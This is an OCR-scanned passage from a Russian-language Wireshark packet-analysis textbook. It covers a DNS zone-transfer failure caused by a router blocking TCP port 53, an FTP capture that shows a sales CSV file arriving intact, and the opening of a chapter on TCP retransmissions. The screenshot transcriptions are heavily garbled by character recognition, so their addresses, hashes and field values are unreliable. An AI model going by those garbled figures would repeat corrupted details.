обеспечение, которым ежедневно пользуются работники компании. Филиал 

подключается к центральной штаб-квартире через маршрутизаторы для орга

низации канала связи через глобальную сеть. А в самом филиале находятся 

пользовательские компьютеры и резервный DNS-Cepвep, который должен по

лучать информацию о записях ресурсов от основного DNS-Cepвepa, располо

женного в центральной штаб-квартире. Блок-схема расположения каждого 

подразделения компании со связями между ними приведена на рис. 10.29. 

Рабочий компьютер 

172.16.16.101 

Резервный DNS-cepвep 
вфиnиаnе 

172. 16. 16.251 

Канал связи 
1 :::: EEf-.... через 

глобальную 
Маршрутизатор сеть 

филиала 

н .... Ct:J\ •••• CLll 

Маршрутизатор 
штаб-квартиры 

Сервер приложений 
в штаб-квартире 

172. 16. 16.200 

Основной DNS-Cepвep 
в штаб-квартире 

172. 16. 16.250 

Рис. 10.29. Схема подключения соответствующих компонентов филиала, 
с которым потеряна связь 

Развертывая новую инфраструктуру в филиале, команда специалистов не

ожиданно обнаруживает, что никому из пользователей сети этого филиала 

недоступен сервер веб-приложений, находящийся во внутренней корпоратив

ной сети. Этот сервер расположен в центральной штаб-квартире и подключа

ется через канал связи, проходящий через глобальную сеть. Рассматриваемая 

здесь проблема, возникшая из-за отсутствия связи с центральным офисом, 

оказала влияние на всех пользователей, работающих в данном филиале. При 



этом все пользователи филиала могут получать доступ к любым ресурсам сво

ей локальной сети, а также без проблем выходить в Интернет. 

Подключение к сети 

Данная проблема заключается в том, что штаб-квартира не может обмени

ваться данными с филиалами, а следовательно, нетрудно найти хотя бы пару 

мест, где можно было бы собрать данные, чтобы приступить к отслеживанию 

возникшего затруднения. Проблему обнаружили клиенты в филиале, и поэ

тому мы начали с зеркального отображения портов на компьютере одного из 

этих клиентов, чтобы проверить, что именно ему доступно в сети. Собрав всю 

необходимую информацию, мы можем с ее помощью перейти в другие места 

сбора данных, чтобы разрешить возникшее затруднение. Сетевой трафик, пе

рехваченный на компьютере одного из клиентов, в конечном итоге сохранен 

в файле stranded _ clientside. pcapng. 

Анализ 

Как пока.зано на рис. 10.30, сетевой трафик в первом из упоминаемых здесь 
файлов перехвата начинается в тот момент, когда пользователь компьюте

ра, находящегося по адресу 172 .16 .16 .101, пытается получить доступ к при
ложению, размещающемуся на сервере приложений, который развернут в 

центральной штаб-квартире с присвоенным ему адресом 172 .16 .16. 200. Этот 
файл перехвата содержит лишь два пакета. Их анализ показывает, что по адре

су 172 .16 .16. 251 О посылается DNS-зaпpoc на запись appserver 8 типа А О в 
первом пакете. В нем указано DNS-имя сервера приложений, расположенного 

в центральной штаб-квартире по адресу 172 .16 .16. 200. 
Как показано на рис. 10.31, в качестве реакции на этот пакет происходит 

отказ сервера О, который указывает на нечто, мешающее успешному преобра

зованию доменного имени, указанного в DNS-зaпpoce. Обратите внимание на 

то, что в данном пакете отсутствует ответ на запрос 8, поскольку произошла 
ошибка (отказ сервера). 

Теперь нам известно, что трудности обмена данными по сети связаны с 

некоторой проблемой, возникающей в работе службы DNS. Обработка всех 
DNS-запросов из филиала выполняется на локальном DNS-cepвepe, располо

женном по адресу 172 .16 .16. 251, и поэтому займемся далее именно им. 
Чтобы перехватить подходящий сетевой трафик из DNS-cepвepa, развер

нутого в филиале, мы оставим свой анализатор пакетов на месте и просто из

меним назначение зеркального отображения портов, чтобы на наш анализа

тор пакетов зеркально отображался трафик из интересующего нас DNS-cepвe

pa, а не компьютера клиента. Полученный в итоге результат сохранен в файле 
stranded_branchdns.pcapng. 



/1. Wirosh•rk · Pocket 1 . Яronded_clientside о х 

fri!Jte 1: 69 bytes оп wir" (552 bits), 69 byt"s captur•d (552 Ьits) 
Eth•rnrt II, Src: Inte1Cor_Sb:7d:4a (00:21:6a:5b:7d:4a). Ost: Inte1Cor_5b:7d:4a (00:21:6a:5b:7d:4a) 

Intern•t Protocol Version 4, Src: 172.16.16.101, Dst: 172.16.16.251 О 
> User Datagra11 Protocol, Src Port: 56779 (56779). Dst Port: 53 (53) 
.., Doolain Name Syste• (query) 

[ RtsROns" In: 2] 
Transaction ID: 0х0003 
Flags: 0х0100 Standaгd queгy 
Questions: 1 

Answeг RRs: 0 

Authoгity RRs: 0 
Additional RRs: 0 

v Queries 
appserver: ty~ А, class IN 

Name: аррsогvег б 

(Name L"ngth: 9] 
[Lat>el Count: 1] 
Тур": А (Нost Addгess) (1) f) 
Class: IN ( 0х0001) 

No.: J • T-.·AIJOO(}()() •S,,,,... J7z.J&.1&.101 •°"""""'1N J72.l&.l&.2SJ ·~ ONS·Ur.gth;69 •Jlrfo: 5'11ntf.tdt/'WYtlltOOOЗA-

Qos• 

Рис. 10.30. Обмен данными начинается с DNS-зaпpoca записи типа А 
с именем appserver 

• Wireshork. Packet 2 · Яranded_clientside о 

> frame 2: 69 bytes on wir" (552 Ыts), 69 bytes captured (552 Ыts) 

х 

> Eth"rn•t II, Src: Int"1Cor_5b:7d:4a (00:21:6a:Sb:7d:4a). Dst: Int"}Cor_5b:7d:4a (00:21:ба:5Ь:7d:4а) 

Int•rnet Protocol Version 4, Src: 172.16.16 . 251, Dst: 172.16.16.101 

User Datagral8 Protocol, Src Рогt: 53 (53). Dst Рогt: 56779 (56779) 

" Doaain Na..., Syste11 (г"sponse) 
[Regu"st In: 1] 
(Time: 0.000346000 seconds] 
Tгansaction ID: 0х000З 
Flags: 0х8182 Standard queгy ""sponse, Seгver failure О 

Qu•rtions: 1 
Answer RRs: 0 

Authoгi ty RRs: 0 б 
Additional RRs: 0 

v Queгies 

appseгver: typ<O А, class IN 
Narae: ~ррsегvег 

(Naiae Length: 9] 
[Label Count: 1] 
Туре: А (Нost Addгess) (1) 
Class: IN (0х0001) 

,.,.,z·r--o.ll0034·-J72.J&.1&.2SJ·~J7l.l&.1&.101·-DNS•l""fll/l:69·Jrr..saнк!lnlquery--З-f№oA-

Рис. 10.3 1. Реакция на DNS-зaпpoc указывает на проблему вне филиала 

Как показано на рис. 10.32, анализируемый здесь перехваченный сетевой 
трафик начинается с рассмотренного ранее запроса и соответствующего 



ответа наряду с еще одним дополнительным пакетом. Этот дополнитель

ный пакет выглядит несколько странно, поскольку в нем предпринимается 

попытка связаться с основным DNS-cepвepoм, развернутым в центральной 

штаб-квартире, с присвоенным ему адресом 172.16.16.250 О через его стан
дартный порт 53 О, но это происходит совсем не по протоколу UDP 8, как мы 
к тому привыкли. 

Source Рогt: 4'9168 
~stination Port: 53 О 
[Streм index: е] 
[ТСР seiиnt Len: е) 
Sequence nuaЬer: е (rel1t1ve sequence n~г) 
Acknowl1!:dpм:nt n~r: 8 
tk11deг Lens:th: 32 Ь es 

Window site vo1lue: 8192 
[C11lcul1ted window size: 8192] 

> Checksu.: ехЬс!е [valid•tion dis11Ыed} 
Urgent pointer: 8 

о х 

Options: (12 bytes), Н.х1- seprnt sia, ftO~гetion (NOP), Window scale, No·()pe'г1tion (НОР), No·~ration (NOP), SACIC peГ8itt~ 

Рис. 10.32. В этом пакете SYN применяется стандартный порт 53, но не протокол UDP 

Чтобы выяснить назначение этого пакета, напомним обсуждение протоко

ла DNS в главе 9, "Распространенные протоколы верхнего уровня". Как пра
вило, в протоколе DNS используется протокол UDP, но в то же время в нем 
употребляется и протокол ТСР, когда ответ на запрос превышает определен

ный размер. В данном случае мы видим первоначальный сетевой трафик по 

протоколу UDP, после чего инициируется трафик по протоколу ТСР. Кроме 
того, протокол ТСР используется в протоколе DNS во время переноса зоны, 
когда записи ресурсов передаются между DNS-серверами, что вполне возмож

но и в данном случае. 

DNS-cepвep, развернутый в филиале, является резервным по отношению 

к основному DNS-cepвepy, размещенному в центральной штаб-квартире. Это 

означает, что для получения записей ресурсов он должен запросить их у ос

новного DNS-cepвepa. А сервер приложений, доступ к которому пользователи 

из филиала пытаются получить, также расположен в центральной штаб-квар

тире. И это означает, что DNS-cepвep, находящийся в центральной штаб-квар

тире, является авторитетным для сервера приложений. Чтобы обработать на 

сервере, развернутом в филиале, DNS-зaпpoc на получение IР-адреса сервера 

приложений, запись ресурсов для этого сервера необходимо перенести из 

DNS-cepвepa в центральной штаб-квартире на DNS-cepвep в филиале. И это 

наиболее вероятная причина появления пакета SYN в рассматриваемом здесь 

файле перехвата. 



Отсу1ттвие ответа на этот пакет SYN свидетельствует о том, что проблемы в 

службе DNS возникли в результате неудачного переноса зоны из DNS-cepвepa 
в центральной штаб-квартире на DNS-cepвep в филиале. И теперь мы можем 

перейти непосредственно к выяснению причины неудачного переноса зоны. 

Наиболее вероятными виновниками этой неудачной операции могуг быть 

маршрутизаторы, размещаемые между DNS-серверами в филиалах и централь

ной штаб-квартире. Чтобы выявить среди них отказавший сервер, можно про

анализировать сетевой трафик DNS-cepвepa в центральной штаб-квартире и 

определить, доходит ли пакет SYN до этого сервера. 

Сетевой трафик DNS-cepвepa в центральной штаб-квартире не включен в 

рассматриваемый здесь файл перехвата потому, что он просто отсутствует, а 

следовательно, пакет SYN вообще не доходит до этого сервера. После распре

деления обязанностей технических специалистов для анализа конфигурации 

маршрутизаторов, соединяющих два подразделения компании, было обнару

жено, что порт 53, через который входящий трафик поступает на маршрути
затор в центральной штаб-квартире, был настроен на прохождение только 

трафика по протоколу UDP и блокировку входящего трафика по протоколу 
ТСР. И эта простая ошибка в конфигурации помешала переносу зоны из одно

го DNS-cepвepa на другой, а следовательно, и клиентам из филиала выполнить 

запросы на преобразование имен устройств, находящихся в центральной 

штаб-квартире. 

Усвоенные уроки 

Чтобы научиться расследовать неполадки в сети, рекомендуется внима

тельно смотреть детективные фильмы. Когда совершается преступление, де

тективы начинают расследование с допросов тех, кого оно большего всего за

тронуло. Это дает путеводную нить для дальнейшего расследования, которое 

продолжается до тех пор, пока преступник не будет найден. 

В данном сценарии мы начали свой анализ с изучения целевого объекта 

(рабочего компьютера), получив путеводную нить, которая и привела нас к 

причине затруднения, возникшего при обмене данными по протоколу DNS. 
В частности, путеводная нить привела нас сначала к DNS-cepвepy в филиале, 

затем к DNS-cepвepy в центральной штаб-квартире и, наконец, к маршрутиза

тору, который и послужил причиной возникшего затруднения. 

Выполняя анализ пакетов, старайтесь рассматривать их как ключи к раз

гадке. И хотя такие ключи не всегда сообщают о том, кто совершил преступле

ние, зачастую они приводят в конечном итоге к самому виновнику. 



Повреждение данных проrраммь1 

Файл перехвата 

tickedoffdeveloper.pcapng 

К числу наиболее частых споров среди специа

листов из отдела информационных техноло

гий относятся перепалки между разработчика

ми и сетевыми администраторами. В частности, разработчики всегда свалива

ют вину за программные ошибки на неудачное проектирование сетей и неу

довлетворительно работающее сетевое оборудование. А сетевые администра

торы обвиняют программистов в том, что они написали плохой код, ставший 

причиной возникновения ошибок в сети и ее медленной работы. 

В данном сценарии программист разработал приложение для отслежи

вания продаж в сети магазинов и сообщения полученных результатов в цен

тральную базу данных. Чтобы сильно не нагружать сеть в рабочее время это 

приложение не обновляет данные в реальном режиме. Вместо этого данные 

накапливаются в течение всего рабочего дня и затем передаются ночью в 

виде текстового файла формата CSV (значения, разделяемые запятыми), для 
последующего ввода в центральную базу данных. 

Это вновь разработанное приложение функционирует не совсем верно. 

В частности, сервер получает файлы, посылаемые из магазинов, но данные, 

вводимые в центральную базу данных, оказываются неверными. Так, в них 

отсутствуют некоторые разделы или порции данных, а иногда они оказыва

ются не на своем месте. К немалому разочарованию сетевого администратора 

программист винит во всем сеть: он убежден, что файлы повреждаются в про

цессе их переноса из магазинов в центральное информационное хранилище. 

Поэтому наша цель - выяснить, насколько он прав. 

Подключение к сети 

Чтобы собрать необходимые данные, мы можем перехватить пакеты в од

ном из магазинов или в центральном офисе. Рассматриваемая здесь пробле

ма оказывает влияние на функционирование всех магазинов, поэтому она 

должна возникать в центральном офисе, если это имеет какое-то отношение к 

сети. И это единственная нить, связующая все магазины, помимо самого про

граммного обеспечения. 

Сетевые коммутаторы поддерживают зеркальное отображение портов, по

этому мы отобразим зеркально порт, к которому подключен сервер, и пере

хватим его сетевой трафик. Этот трафик ограничивается единственным ма

газином, выгружающим свой файл формата CSV на сервер сбора данных. По
лученный в итоге результат сохранен в файле перехвата tickedoffdeveloper. 
pcapng. 



Анализ 

О приложении, разработанном программистом, нам неизвестно ничего, 

кроме основного потока информации в сети. Рассматриваемый здесь файл пе

рехвата начинается с сетевого трафика по протоколу FTP, поэтому исследуем 
его, чтобы выяснить, действительно ли он является основным механизмом 

для переноса файла формата CSV. 
Заглянув сначала в список пакетов (рис. 10.33), мы можем заметить, что 

хост, находящийся по адресу 172 .16 .16 .128 О, инициирует обмен данными 

с хостом, расположенным по адресу 172 .16 .16 .121 8, начиная с установки 
соединения по протоколу ТСР. Таким образом, мы можем предположить, что 

хост, находящийся по адресу 172 .16 .16 .128, является клиентом, передающим 

данные на обработку, а хост, расположенный по адресу 172 .16 .16 .121, - сер

вером, где собираются и обрабатываются данные, полученные от клиента. 

Прослеживая процедуру установки связи по протоколу ТСР, мы начинаем за

мечать FТР-запросы клиента и ответы сервера е . 

No. ""' Sou-<0 0..-. '"'"""' 
68 2S'5S "" 11 [АО) S~qa1 l\ck•l Win•17528 L~-e 

96 Respons~: 219 f"HeZlll• Se~r v!rsion 8.9.ЗА Ьtta 
s 8.812948 17Z.1E.1b.l28 172.U. . 16.121 НР 8: :::::~:U:~~ ::~::rr~u1~td fог sal~кfer 6 8.883396 172.16 .16.121 172.16.lb.12.8 FТР 

1 e.ee1s1~ 172.16.1&.128 172.16.16.12.1 FТР 69 Request: PASS pf!.slll!Ord 

а е.емм2 172.16.16.12.1 112.16.16.118 •ТР 69 RIЩ)Of\St:: 238 Logged 011 

Рис. 10.33. Первоначальный обмен данными помоrает отличить клиента от сервера 

Нам известно, что в данном случае должна происходить передача некото

рых данных, поэтому, используя свои знания протокола FTP, попробуем найти 

пакет, с которого начинается эта передача. Соединение и передача данных по 

протоколу FTP инициируются клиентом, а следовательно, от хоста, находя
щегося по адресу 172 .16 .16 .128, следует ожидать выдачу команды STOR, при

меняемой в протоколе FTP для выгрузки данных на FТР-сервер . Чтобы обна

ружить эту команду, проще всего составить фильтр. 

В рассматриваемом здесь файле перехвата имеется немало команд FТР-за

просов, и мы можем составить нужный нам фильтр непосредственно в пане

ли Packet List вместо того, чтобы перебирать сотни протоколов и их опций в 

построителе выражений. Для этого необходимо сначала выбрать пакет с до

ступной в нем командой FТР-запроса. Выберите пакет 5, поскольку он нахо
дится ближе к началу списка. Затем разверните разделы FТР и USER из выбран

ного пакета в панели Packet Details. Щелкните правой кнопкой мыши на поле 

Request Command: USER и выберите команду Prepare а Filterc:>Selected (Подгото

вить фильтре:> Выбранный) из контекстного меню. 
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В итоге фильтр для всех пакетов, содержащих команду USER для FТР-запро

са, будет подготовлен и размещен в диалоговом окне фильтрации. Далее отре

дактируйте этот фильтр, заменив слово USER словом STOR О, как показано на 

рис. 10.34. 

ProtxxDI longlh Iлfo Destinotion 

172.16.].6.121 FTP 83 ftequest: STOA. "Store4829-83U2818. cs\I' ,.. 

Рис. 10.34. Этот фильтр помогает выяснить, где начинается передача данных 

Этот фильтр можно было бы конкретизировать еще больше, выбрав IР-а

дрес клиента и указав его в качестве отправителя в дополнительном условии 

&& ip. src = 172 .16 .16 .128. Но поскольку рассматриваемый здесь файл пере
хвата и так ограничен одним клиентом, то особой необходимости в таком до

полнении фильтра нет. 

А теперь примените этот фильтр, нажав клавишу <Енtег>. В итоге появит

ся единственный экземпляр команды STOR, имеющийся в пакете 64 О из рас
сматриваемого здесь файла перехвата. Зная теперь, где начинается передача 

данных, щелкните на пакете 64, чтобы выбрать его, а затем очистите фильтр, 
щелкнув на кнопке Х, расположенной выше панели Packet List. На экране по
явятся все пакеты из перехваченного трафика, среди которых будет выбран 

пакет 64. 
Анализируя данный файл перехвата, начиная с пакета 64, можно заме

тить, что в этом пакете указана передача файла store4829-03222010. csv О 
(рис. 10.35) . 

• Wir<:Shark · P•cket 64 · tickedoffdeveloper о х 

~---~~-~~~~~~--~~~~~~~~~~~~~~~~~~~~~~~~~~ 

> Fra•e 64: 83 bytes on кiге (664 Ьits), 83 bytes captuгed (664 bits) 
> e-t:heгnet II, Sгс: IntelCoг_Sb:7d:4a (00:21:61:Sb:7d:4a), Ost: Vlllwaгe_ea:17:be (00:0с:29:еа:17:Ье) 
> Inteгnet Pгotocol Veгsion 4, Sгс: 172.16.16.128, Ost: 172.16 . 16.121 
> Transaission Contгol Pгotocol, Sгс Рогt: 2555 (2555), Ost Рогt: 21 (21), Seq: 222, Ack: 875, Len: 29 
"' File Tгansfeг Pгotocol (ПР) 

..., STOR stor e4829-03222010 . csv\ r \ n 
Request connand: STOR 
Request a r g: store4829· 032221110. csv О 

~·~~~-~~~~~~~~-~~~~~~~~~~~~~~~~~~~~~~~~ 

No. : 64 • п..,.,4,JESISS9 •s...mt; J7l.16.Jli.JZ8 • ~ J?Z.16.16.LlJ • l'rrЮx'olt FТP • ~ ВЗ • Jnfrк R-SТOR~ШJOIO.csv 

Рис. 10.35. Файл формата CSV, передаваемый по протоколу FТР 

В пакетах, следующих после команды STOR, указан другой порт, хотя они и 

обозначаются как часть передачи данных типа FTP-DATA. Итак, мы убедились, 

что данные передаются, но еще не выяснили, был ли программист прав. Для 

этого необходимо убедиться, остается ли содержимое переданного файла 
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невредимым после переноса по сети. Перейдем далее к извлечению этого 

файла из перехваченных пакетов. 

Когда файл передается по сети в незашифрованном формате, он разбивает

ся на сегменты и собирается снова в месте его получения. В данном сценарии 

мы перехватывали пакеты по мере их поступления к получателю, но прежде, 

чем они собирались снова. Таким образом, в нашем распоряжении имеются 

все данные, и нам остается лишь собрать их вместе, извлекая файл в виде по

тока данных. С этой целью выберите любой пакет из потока данных типа FTP

DATA (например, пакет 66), щелкните на нем правой кнопкой мыши и выбе
рите команду Followc:>TCP Stream (Отслеживатьс:>Поток ТСР) из контекстного 
меню. Полученный в итоге результат показан на рис . 10.36. Он похож на обыч
ный текстовый файл формата CSV, содержащий данные о продажах . 

• Wire•hark · Follow ТСР Stream (tcp.stream eq 1)". о х 

StoreIO,SKF ,QТУ "" 
4829, 808966, 5 
4829,893932,7 
4829,638384,2 
4829, 260513, 4 
4829,697840,2 
4829, 70&390' 1 
4829,438522,9 
4829,305&4&,б 

4829,&26872,б 

4829,462192, 2 
4829,235990,1 
4829, 354072' 7 
4829,314705,1 
4829,137917,Б 

4829,752470,9 "' 

J.S dient pkt{>J q server p/rtfs), о мns. 

LEntir;;-nver;non(19kВ} "'J Showdat.aas ~ • ] Stream ~ 

Rnd: 1 Find tj_ext 1 

Нide this s~ [ift ] Sa~ ~-=:J L ~se .J L н;;/р 

Рис. 10.36. В ТСР-nотоке можно увидеть, какие 

именно данные передаются 

Данные можно увидеть в анализируемом потоке потому, что они переда

ются в незашифрованном виде по протоколу FTP. Но, основываясь только на 
потоке, нельзя с уверенностью судить, что переданный по сети файл остался 

невредимым. Чтобы собрать данные снова и сохранить их в виде исходного 

файла, щелкните на кнопке Save As и укажите то имя файла, которое обозначе
но в пакете 64, а затем щелкните на кнопке Save. 

В результате операции сохранения будет создан файл формата CSV, явля

ющийся точной копией на уровне отдельных байтов того файла, который 
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был первоначально передан из магазина. В этом можно убе;~иться, сравнив 

хеш-суммы исходного и извлеченного файлов, получаемые но алгоритму шиф

рования MD5. Сравниваемые хеш-суммы по алгоритму MD5 обоих файлов 
должны быть одинаковы, как показано на рис. 10.37. 

stor~OЗ22.2010.csv Proporti.s х 

Name Hash value 

СRСЗ2 FD38F576 
Jo!05 ЕСО!.,10709КЕD7ВОС6ЕВСЕ~20005799 

SHA-1 65769035E20f3749461C4AБfDEA9ACЗ7906E5869 

н • .n Companson: 

1 ECDМ0709/LED7ВOC6EllCE4420005799 

Ныh•.ь 52.0 Фi0101ffop1Ьil Solrwore\hltp/ rmpl!:~ com\ 

ок 

Рис. 10.37. Хеш-суммы по алгоритму MDS 
исходного и извлеченного файлов одинаковы 

Сравнив оба файла, можно сделать вывод, что сеть нельзя винить в по

вреждении информации, сохраняемой рассматриваемым здесь приложением 

в базе данных. Файл, переданный из магазина дщ1 сбора данных на сервере, 

остается невредимым, доходя до сервера. Поэтому любое повреждение, ско

рее всего, происходит в процессе обработки этого файла в приложении на 

стороне сервера. 

Усвоенные уроки 

Анализ на уровне пакетов примечателен, в частности, тем, что он избавля

ет от необходимости разбираться в нагромождении различных приложений. 

Неудачно разработанных приложений намного больше, чем разработанных 

удачно, но на уровне пакетов это не имеет никакого значения. В данном слу

чае программист использовал в своем приложении некие загадочные сетевые 

компоненты. Но в конечном счете весь сложный алгоритм передачи данных, 



реализованный в сотнях строк кода, может быть сведен к сетевым протоко

лам FГР, ТСР и IP. Зная особенности функционирования этих основных про
токолов, мы смогли убедиться, что процесс передачи данных по сети прохо

дил верно, и даже сумели извлечь файл из потока данных, чтобы доказать ис

правность сети. В этой связи очень важно помнить, что какой бы сложной не 

оказалась возникшая в сети проблема, она все равно сводится к пакетам. 

Заключительные соображения 
В этой главе был рассмотрен ряд сценариев, в которых анализ пакетов по

зволяет лучше понять и разобраться в трудностях обмена данными по сети. 

Применяя элементарный анализ общеупотребительных сетевых протоколов, 

мы смогли проследить и своевременно разрешить различные затруднения, 

возникающие в сети. И хотя рассмотренные здесь сценарии могут отличать

ся от тех, с которыми вам придется иметь дело на практике, представленные 

здесь методики анализа пакетов должны принести вам пользу в разрешении 

затруднений, возникающих в вашей сети. 
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МЕРЫ БОРЬБЫ С МЕДЛЕННОЙ СЕТЬЮ 

Балыuую часть времени сетевому администратору при

ходится уделять устранению неполадок на компьютерах 

и серверах, которые работают медленнее, чем обычно 

должны. Но если кто-нибудь пожалуется на медленную рабо

ту сети, то это еще не означает, что виной тому сама сеть. 

Прежде чем начинать бороться с медленной сетью, необходимо выяснить, 

действительно ли она работает медленно. Из этой главы вы узнаете, как это 

делается. 

И начнем мы с обсуждения функциональных средств, доступных в прото

коле ТСР для устранения ошибок и управления потоками данных, передавае

мых по сети. Затем мы нокажем, как обнаруживаются характерные признаки 

медленно работающей сети. И, наконец, мы рассмотрим способы сравнения с 

исходными характеристиками сетей и действующих в них служб и устройств. 

Проработав материал этой главы, вы сможете намного лучше выявлять, диа

гностировать и устранять неполадки в медленно работающих сетях. 

l1!QIЦЩMlll!i Для диагностики медленно работающих сетей имеется немало методик. 

Здесь выбjюна методика, опирающаяся в основном на протокол ТСР, 

потому что именно этого чаще всего оказывается достаточно. В отли

чие от протокола ICMP, протокол ТСР дает возможностъ проводитъ 

генерироватъ 



Функционаnьнь1е средства устранения 

ошибок в протоколе ТСР 
Функциональные средства устранения ошибок, доступные в протоколе 

ТСР, лучше всего подходят для обнаружения, диагностики и в конечном счете 

устранения больших задержек при передаче данных в сети. С точки зрения 

организации компьютерных сетей задержка - это мера, определяющая раз

ность между моментами времени передачи и приема пакетов. 

Задержки бывают односторонние (измеряется время передачи пакетов 

от отправителя к получателю) и двухсторонние (измеряется время передачи 

пакетов от отправителя к получателю и обратно к отправителю). Если обмен 

данными между устройствами происходит быстро и время доставки пакета из 

одной конечной точки в другую невелико, то такой обмен данными происхо

дит с малой задержкой. А если доставка пакетов от отправителя к получателю 

отнимает немало времени, то такой обмен данными происходит с большой за

держкой. Большая задержка - это первый враг всех сетевых администраторов, 

которые очень ценят исправность сети. Ведь именно в ней заключается цель 

их работы. 

В главе 8, "Протоколы транспортного уровня", пояснялось, каким образом 
номера подтверждения и порядковые номера применяются в протоколе ТСР 

для обеспечения надежной доставки пакетов. А в этой главе эти номера будут 

рассмотрены снова, чтобы выяснить, каким образом протокол ТСР реагирует 

на нарушение последовательности приема (или вообще неприема) пакетов с 

этими номерами из-за большой задержки в сети. 

Повторная передача даннь1х в протоколе ТСР 

Файл перехвата tcp _ Способность хоста повторно передавать пакеты 

retransmissions .pcapng относится к самым основным функциональным 
средствам устранения ошибок в протоколе ТСР. 

Оно предназначено для борьбы с потерями пакетов. 

Для потери пакетов существуют несколько возможных причин, включая 

неверно функционирующие приложения, сильно перегруженные маршрути

заторы или временно выходящие из строя службы. В связи с тем что опера

ции на уровне пакетов выполняются очень быстро, потеря пакетов зачастую 

носит временный характер. Поэтому крайне важно, чтобы в протоколе ТСР 

можно было своевременно обнаруживать и устранять потерю пакетов. 

Главным механизмом, позволяющим определить необходимость повтор

ной передачи пакета, является таймер повторной передачи, который отвечает 

за отсчет времени ожидания до повторной передачи (RTO, или Retraпsшission 
Tiшeout). Всякий раз, когда пакет передается по протоколу ТСР, запускается 



таймер повторной передачи. Этот таймер останавливается, когда получен па

кет АСК. Промежугок времени между передачей и приемом пакета АСК называ

ется временем на передачу и подтверждение приема (RTT, или Rouпd-Trip Тiше). 
Некоторые из этих временных характеристик усредняются, чтобы опреде

лить окончательную величину времени ожидания до повторной передачи. 

До тех пор, пока время ожидания до повторной передачи не будет опреде

лено, операционная система передающего устройства полагается на устанав

ливаемое в ней по умолчанию время на передачу и подтверждение приема, 

которое выдается при первоначальном обмене данными между хостами. За

тем его величина корректируется, исходя из времени на передачу и подтверж

дение приема полученных пакетов, чтобы определить время ожидания до по

вторной передачи. 

Как только величина времени ожидания до повторной передачи будет 

определена, 110 каждому передаваемому пакету будет срабатывать таймер по

вторной передачи, если произошла потеря этого пакета. Процесс повторной 

передачи пакетов по протоколу ТСР наглядно показан на рис. 11.1 . 

._~~~~~-д_а_нн_ы_е~~~~~> 
Повторная передача 1 (RTO) ~ 
~-V' 

Повторная передача 2 (RTO х 2) 

Повторная передача 3 (RTO х 4) 

Хост оmравителя 
Повторная передача 4 (RTO х 8) 

Хост получателя 

Повторная передача 5 (RTO х 16) 

Без ответа = Соединение разорвано 

Рис. 1 1. 1. Концептуальное представление процесса повторной 
передачи пакетов по протоколу ТСР 

Когда пакет посылается, а получатель не отправляет в ответ подтверждаю

щий пакет АСК по протоколу ТСР, отправитель предполагает, что исходный па

кет был потерян, и передаст его еще раз. При повторной передаче пакета ве

личина времени ожидания до повторной передачи (RTO) удваивается. И если 
подтверждающий пакет АСК не будет получен до истечения этого времени, то 



произойдет еще одна повторная передача пакета. А если и после этого под

тверждающий пакет АСК не будет получен в ответ, то величина времени ожида

ния до повторной передачи удвоится снова. Этот процесс будет продолжаться 

до тех пор, пока отправитель не достигнет максимального количества попы

ток повторной передачи, на которое он был настроен. Более подробно этот 

процесс описан в документе RFC 6298. 
Максимальное количество попыток повторной передачи зависит от ве

личины , установленной в операционной системе передающего устройства . 

По умолчанию хосты под управлением системы Windows совершают макси
мум 5 попыток повторной передачи, а большинство хостов под управлением 
Linux - до 15 таких попыток. Этот параметр настраивается в любой операци
онной системе. 

В качестве примера повторной передачи по протоколу ТСР откройте файл 

перехвата tcp_retransmissions.pcapng, состоящего из шести пакетов. Пер

вый из этих пакетов приведен на рис. 11 .2 . 

• Wiresharlc · Pack.et 1 · tcp_retransmissions о х 

- f;;;..,-i;-706 bytes оп wire (5648 bits), 706 bytes captured (5648 bits) 

No.: 1 . r-0.000000·Soutro:10.JJ0.1 ·~JO.З.7J.7·PrrJaxol: rCJt..4JjPSН, ACК}!i«p<J A<*•J wtr=8l'OOU=US{EТHER!IEТFRAMEOICCКSEQUENCEM 

aose Н'*> i 

Рис. 11.2. Простой пакет ТСР, содержащий данные 

Это, ПО существу, пакет PSH/ACK О, содержащий 648 байтов данных е и пе
редаваемый по протоколу ТСР из хоста, находящегося по адресу 10.3.30.1, 
хосту, расноложенному по адресу 10. 3. 71. 7 О. И это типичный пакет для пе
редачи данных. 



При обычных обстоятельствах следует ожидать, что подтверждающий па

кет АСК должен посылаться в ответ по протоколу ТСР через довольно корот

кий промежуток времени после отправки первого пакета. Но в данном случае 

новторно передается следующий пакет. Об этом можно судить, глядя на пакет 

в панели Packet List, где в столбце Info ясно указана повторная передача [ТСР 
Retransmission], а текст из этого пакета выделен красным цветом на черном 

фоне. Некоторые примеры повторных передач, наблюдаемые в панели Packet 
List, приведены на рис. 11.3. 

2 0 20600t 10) 38 1 10) 7\ 7 ТСР 786 [ТСР ll.ttГ8"1~atиion} 1$48 • 1•13 [РSН, дСХ) S~•l .Чlc•l Wi.1' 176i lC"•6-Q rPwt::М:T F;rv.нe СК~():: SEQUEllCE n..::CUUIECТJ 

[ 

1 О ОtооМ 10) .W l 10 3.71 7 fCP 7~ 1~1 • 1М) 1PS11, N..11.} ~q'"l Aelr."1 W1n• 876Q -е......:.Ч [t•Н(fU1.f1 ~~ (kf{( ~!:QvtЖ.t lfl(..ЦlЯ~(lJ 

3 О 696000 lf 3 30 1 10.3 71 7 ТСР 716 (ТСР A:etг1n,•issiorlJ 1643 " 1043 [РSН, де1..J Stoq•l A(k•l Win47~ Lе,,_..64г (ПHf~t!T f!W~ С~:.а SE{\.lf.llCf IНCOll.~ECТJ 

4 t • .lneoot 16 3 Je 1 10 J 71 7 ТСР 780 ['l" RetГ8"1~•1и;10fl} 1&43" l&H {РSН, ACX:J Se<1"l Ac~·l ltliri•f16a len•\>4г {E!HfRkП F~ СНЕСК SfQ\JtNCE tжORAECT) 

S 2.400000 1~ 3 30 t 10.).71 7 tCP 71)6 {ТСР Retr•ns81SHOl"I) 104.8" l!М~ (Р5Н, F.CIC] Se<i""l Aclr. • l W!n"'37ot L~n•64a (HH~RНfT f1W11: С~С.К Sf~l«';"f llfCМRCCТ) 

6 4 . B~SOOO 10 3.30 1 10.э 71.7 T(IJ 71!'6 [ТСР f\e t г1ns•iS!:.i0t0J 1641 ... \()4) (РSН, АС!.:1 S~Q·l ,\(!(•J wJn-17\iQ L е""ыа !ПН~РНЕТ l'ltдМE ОЕСК $EQUEIК:E IlfCOЧllCCT) 

Рис. 11.3. Примеры повторных передач, наблюдаемые в панели Packet List 

Чтобы выяснить, передается ли пакет повторно, можно также проанализи

ровать его в панели Packet Details, как показано на рис. 11.4 . 

• Wire:shark · P~ckd 2 · tcp_rttлnsm1ss1ons 

